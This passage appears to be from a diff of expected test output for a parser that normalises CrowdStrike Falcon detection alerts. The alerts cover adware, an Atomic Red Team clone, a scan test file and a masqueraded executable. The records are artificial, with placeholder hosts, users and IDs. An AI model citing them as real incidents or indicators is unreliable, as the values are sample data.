Utilities - Host\\rfusclient.exe", + "name": "rfusclient.exe", + "parent": { + "entity_id": "25841449898", + "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe", + "name": "rutserv.exe" + }, + "start": "2024-06-10T15:18:35.000Z", + "uptime": 0 + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976", + "848a53dc549be0386e5da0f49700c389" + ], + "hosts": [ + "DESKTOP1111" + ], + "ip": [ + "81.2.69.144" + ], + "user": [ + "USER11111" + ] + }, + "rule": { + "description": "This file is classified as Adware/PUP based on its SHA256 hash.", + "name": "NGAV" + }, + "source": { + "address": "81.2.69.144", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "USER11111" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "FilesWritten": [ + { + "FileName": "test_upx_header_changed", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "test_upx", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcessWithPipe.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "msys-2.0.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "calc.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.011_x64.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "EtwpCreateEtwThread.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcess.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1036.003.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + } + ], + "GrandparentCommandLine": "/usr/sbin/sshd -D -R", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "HostGroups": [ + "44be50f58ccfcfcfcfcfcfcfcffc" + ], + "MACAddress": "02-42-d8-66-fe-03", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "-bash", + "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": 30115, + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Malware", + "Technique": "Malicious File", + "Type": "ldt" + }, + "device": { + "id": "c8d1292a8a904216aa25ab728f4b45fd" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "directory": "/usr/bin", + "hash": { + "md5": "675853ca01ec441df7a015b91a7e1272", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" + }, + "name": "git", + "path": "/usr/bin/git" + }, + "host": { + "hostname": "linux-vm", + "mac": [ + "02-42-D8-66-FE-03" + ], + "name": "linux-vm" + }, + "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "process": { + "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "1719309930613520072", + "executable": "/usr/bin/git", + "name": "git", + "parent": { + "entity_id": "1719308637781199091", + "executable": "/usr/bin/bash", + "name": "bash" + }, + "start": "2024-06-25T10:05:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", + "675853ca01ec441df7a015b91a7e1272" + ], + "hosts": [ + "linux-vm" + ], + "ip": [ + "172.17.0.1" + ], + "user": [ + "azureuser" + ] + }, + "rule": { + "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "name": "Known Malware" + }, + "source": { + "address": "172.17.0.1", + "ip": "172.17.0.1" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "azureuser" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "CompositeId": "7da61e27e34f4b8394081896af72e2c7", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections", + "HostGroups": [ + "2a5927e82d644aa9", + "be74ccf2c2f444cf900" + ], + "MACAddress": "88-44-66-77-11-22", + "Objective": "Falcon Detection Method", + "SensorId": "1122025ec596478d830520000000000", + "Severity": 70, + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Machine Learning", + "Technique": "Sensor-based ML", + "Type": "ods" + }, + "device": { + "id": "1122025ec596478d830520000000000" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"Hostname\":\"FRHOSTNAME\",\"Name\":\"OnDemandScanfiletest\",\"Severity\":70,\"FileName\":\"testfile.vmx\",\"FilePath\":\"D:\\\\RECYCLER\\\\testpath\\\\testfile.vmx\",\"SHA256String\":\"774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections\",\"AgentId\":\"1122025ec596478d830520000000000\",\"CompositeId\":\"7da61e27e34f4b8394081896af72e2c7\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"88-44-66-77-11-22\",\"Tactic\":\"Machine Learning\",\"Technique\":\"Sensor-based ML\",\"Objective\":\"Falcon Detection Method\",\"HostGroups\":\"2a5927e82d644aa9,be74ccf2c2f444cf900\",\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"Type\":\"ods\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "type": [ + "info" + ] + }, + "file": { + "directory": "D:\\RECYCLER\\testpath", + "drive_letter": "D", + "hash": { + "sha256": "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" + }, + "name": "testfile.vmx", + "path": "D:\\RECYCLER\\testpath\\testfile.vmx" + }, + "host": { + "hostname": "FRHOSTNAME", + "mac": [ + "88-44-66-77-11-22" + ], + "name": "FRHOSTNAME" + }, + "process": { + "executable": "D:\\RECYCLER\\testpath\\testfile.vmx", + "name": "D:\\RECYCLER\\testpath\\testfile.vmx" + }, + "related": { + "hash": [ + "774f50830a645392a94338815913e281096f1594ce5f4d992cf3f167fde509a1" + ], + "hosts": [ + "FRHOSTNAME" + ], + "ip": [ + "81.2.69.144" + ] + }, + "rule": { + "name": "OnDemandScanfiletest" + }, + "source": { + "address": "81.2.69.144", + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": "81.2.69.144" + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111", + "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999", + "FilesWritten": [ + { + "FileName": "test_upx_header_changed", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "test_upx", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcessWithPipe.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "msys-2.0.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "calc.dll", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1055.011_x64.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "EtwpCreateEtwThread.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "CreateProcess.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/", + "Timestamp": "2024-06-25T10:06:06.000Z" + }, + { + "FileName": "T1036.003.exe", + "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/", + "Timestamp": "2024-06-25T10:06:06.000Z" + } + ], + "GrandparentCommandLine": "/usr/sbin/sshd -D -R", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "HostGroups": [ + "44be50f58ccfcfcfcfcfcfcfcffc" + ], + "LocalIPv6": "2a02:cf40::", + "MACAddress": "02-42-d8-66-fe-03", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "-bash", + "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": 30115, + "SensorId": "c8d1292a8a904216aa25ab728f4b45fd", + "Severity": 70, + "SeverityName": "High", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Malware", + "Technique": "Malicious File", + "Type": "ldt" + }, + "device": { + "id": "c8d1292a8a904216aa25ab728f4b45fd" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"2a02:cf40::\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 73, + "type": [ + "info" + ] + }, + "file": { + "directory": "/usr/bin", + "hash": { + "md5": "675853ca01ec441df7a015b91a7e1272", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc" + }, + "name": "git", + "path": "/usr/bin/git" + }, + "host": { + "hostname": "linux-vm", + "mac": [ + "02-42-D8-66-FE-03" + ], + "name": "linux-vm" + }, + "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "process": { + "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "1719309930613520072", + "executable": "/usr/bin/git", + "name": "git", + "parent": { + "entity_id": "1719308637781199091", + "executable": "/usr/bin/bash", + "name": "bash" + }, + "start": "2024-06-25T10:05:30.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc", + "675853ca01ec441df7a015b91a7e1272" + ], + "hosts": [ + "linux-vm" + ], + "ip": [ + "172.17.0.1" + ], + "user": [ + "azureuser" + ] + }, + "rule": { + "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.", + "name": "Known Malware" + }, + "source": { + "address": "172.17.0.1", + "ip": "172.17.0.1" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "azureuser" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:4ebcabee560d4345b025d6c732656ba9:1237323", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "sshd:devuser@pts/0", + "GrandparentImageFileName": "sshd", + "GrandparentImageFilePath": "/usr/sbin/sshd", + "MACAddress": "42-01-0a-80-00-18", + "Objective": "KeepAccess", + "ParentCommandLine": "-bash", + "PatternDispositionDescription": "Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": true, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": true, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 272, + "PatternId": 145, + "PlatformId": "3", + "PlatformName": "Linux", + "SensorId": "4ebcabee560d4345b025d6c732656ba9", + "Severity": 50, + "SeverityName": "Medium", + "SourceProducts": "FalconInsight", + "SourceVendors": "CrowdStrike", + "Tactic": "DefenseEvasion", + "Technique": "Masquerading", + "Type": "ldt" + }, + "device": { + "id": "4ebcabee560d4345b025d6c732656ba9" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"4ebcabee560d4345b025d6c732656ba9\",\"AggregateId\":\"aggind:4ebcabee560d4345b025d6c732656ba9:1237323\",\"CommandLine\":\"./whoami.rtf\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048\",\"DataDomains\":\"Endpoint\",\"Description\":\"Anexecutablewasrunwithacontradictingfileextension\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:4ebcabee560d4345b025d6c732656ba9:1753352263802791435-145-268048?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"whoami.rtf\",\"FilePath\":\"/home/devuser/whoami.rtf\",\"GrandParentCommandLine\":\"sshd:devuser@pts/0\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"Hostname\":\"navnit-test-instance\",\"LocalIP\":\"10.128.0.24\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"42-01-0a-80-00-18\",\"MD5String\":\"3e4129c7bb0c01793aa9ecad38ccb4d0\",\"Name\":\"SuspiciousActivity\",\"Objective\":\"KeepAccess\",\"ParentCommandLine\":\"-bash\",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1753351172854337800,\"PatternDispositionDescription\":\"Detection,processwouldhavebeenkilledifrelatedpreventionpolicysettingwasenabled.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":true,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":272,\"PatternId\":145,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1753352263,\"ProcessId\":1753352263802791400,\"ProcessStartTime\":1753352263,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490\",\"Severity\":50,\"SeverityName\":\"Medium\",\"SourceProducts\":\"FalconInsight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"DefenseEvasion\",\"Technique\":\"Masquerading\",\"Type\":\"ldt\",\"UserName\":\"devuser\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 47, + "type": [ + "info" + ] + }, + "file": { + "directory": "/home/devuser", + "hash": { + "md5": "3e4129c7bb0c01793aa9ecad38ccb4d0", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490" + }, + "name": "whoami.rtf", + "path": "/home/devuser/whoami.rtf" + }, + "host": { + "hostname": "navnit-test-instance", + "mac": [ + "42-01-0A-80-00-18" + ], + "name": "navnit-test-instance" + }, + "message": "Anexecutablewasrunwithacontradictingfileextension", + "process": { + "command_line": "./whoami.rtf", + "end": "2025-07-24T10:17:43.000Z", + "entity_id": "1753352263802791400", + "executable": "/home/devuser/whoami.rtf", + "name": "whoami.rtf", + "parent": { + "entity_id": "1753351172854337800", + "executable": "/usr/bin/bash", + "name": "bash" + }, + "start": "2025-07-24T10:17:43.000Z", + "uptime": 0 + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "0cb73775cb5eff70ee9189030eb00bfeb03b7245f2e12edc7d59119e86fd7490", + "3e4129c7bb0c01793aa9ecad38ccb4d0" + ], + "hosts": [ + "navnit-test-instance" + ], + 